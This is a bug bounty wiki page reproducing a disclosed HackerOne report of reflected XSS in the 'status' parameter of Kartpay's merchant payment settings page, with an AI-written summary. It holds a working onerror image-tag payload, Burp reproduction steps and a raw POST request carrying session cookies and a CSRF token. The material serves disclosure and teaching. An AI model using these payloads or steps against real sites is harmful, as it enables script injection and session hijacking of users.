Skip to content
XSS Disclosed report Beginner

Reflected XSS on https://merchant.kartpay.com/payment_settings [status]

A parameter in the payment settings form was reflected back into the response without sanitisation, so a crafted value containing an image tag with an error handler ran script in the page. An attacker could use this to run malicious JavaScript in a victim's browser session.

august1808 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 28 days
  • Disclosed after 44 days

#Vulnerable URL https://merchant.kartpay.com/payment_settings/type

#Parameter status

#Payload

"><img src=x onerror=alert(domain)>

#Steps to Reproduce

  1. Login with your credentials.
  2. Go to https://merchant.kartpay.com/payment_settings
  3. Start Burp suite proxy and intercept on.
  4. Click on Run and Save button. intercept the request.
  5. Enter above payload in vulnerable parameter.
  6. Right click Show response in browser.
  7. You will notice that xss will execute.

#POST Request


POST /payment_settings/type HTTP/1.1
Host: merchant.kartpay.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://merchant.kartpay.com/payment_settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: XGf5lqENEGvobu7MFdK2LfgtUoYZ2Hl6JWwYMLOV
X-Requested-With: XMLHttpRequest
Content-Length: 73
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6IkIyMkNoakFhYVVpdmFtalJUc3JZWlE9PSIsInZhbHVlIjoiYTg1TlZFeUZLNzUxaVJoOXZyV1gxSWhZaEh5eTRuWENMRXJLR05tZGZMUVRUQ2ozTWgwbG1IMUlFZ0JxcVk5ZyIsIm1hYyI6IjNhZTI4ODM0YWY3YzM5N2JhZDEzMGE1NjdiODZhZWU4ZWM4YjI1ZjhjYmJhMWNhZGFlYTdkMmQ4OTRhMmRmNDcifQ%3D%3D; laravel_session=eyJpdiI6IlZuRkhIWmMxbFU2ZFArR3lVc1hFM1E9PSIsInZhbHVlIjoiXC9KSFZhVlV4YWpSNWR2YjlFS1F0STF5QTVYMTh3Y1ZNN1hWY2RhZnAxRFArXC9KT2FmUG01UldVR3dYTHdYWE03IiwibWFjIjoiOWMyYzJlY2MwYjY2NDkyMTkxZDhlOGE4Njk0N2QwYTdkNjFkMjRlZWNlNDBjNTc3MmZiYjg5YTI1Yjc4NTkxNiJ9; _ga=GA1.2.1275163119.1563193948; _gid=GA1.2.1455926951.1563193948

merchant_id=729&type_id=5&status=false"><img src=x onerror=alert(cookie)>

1.png
1.png From the original on HackerOne
2.png
2.png
3.png
3.png
4.png
4.png

Impact

with the help of this attack, an attacker can execute malicious javascript on an application

The original report as published on HackerOne, by august1808. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the status parameter was echoed into the HTML response without output encoding or validation.

Impact

An attacker could execute malicious JavaScript in the application, though the report does not show a cross-site delivery path to another user.

What the attacker needed

A valid merchant account; attacker can send a crafted request

How it was found

  1. Log in to the merchant portal with valid credentials.
  2. Open the payment settings page.
  3. Turn on an intercepting proxy and submit the form via the Run and Save button.
  4. Replace the status value in the intercepted request with the test payload.
  5. View the response in a browser to see the script execute.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a site puts what you typed back into the page without cleaning it, an attacker can slip in code the browser runs. This is cross-site scripting.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by august1808

View all

1 more disclosed report, best first.

More from Kartpay

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.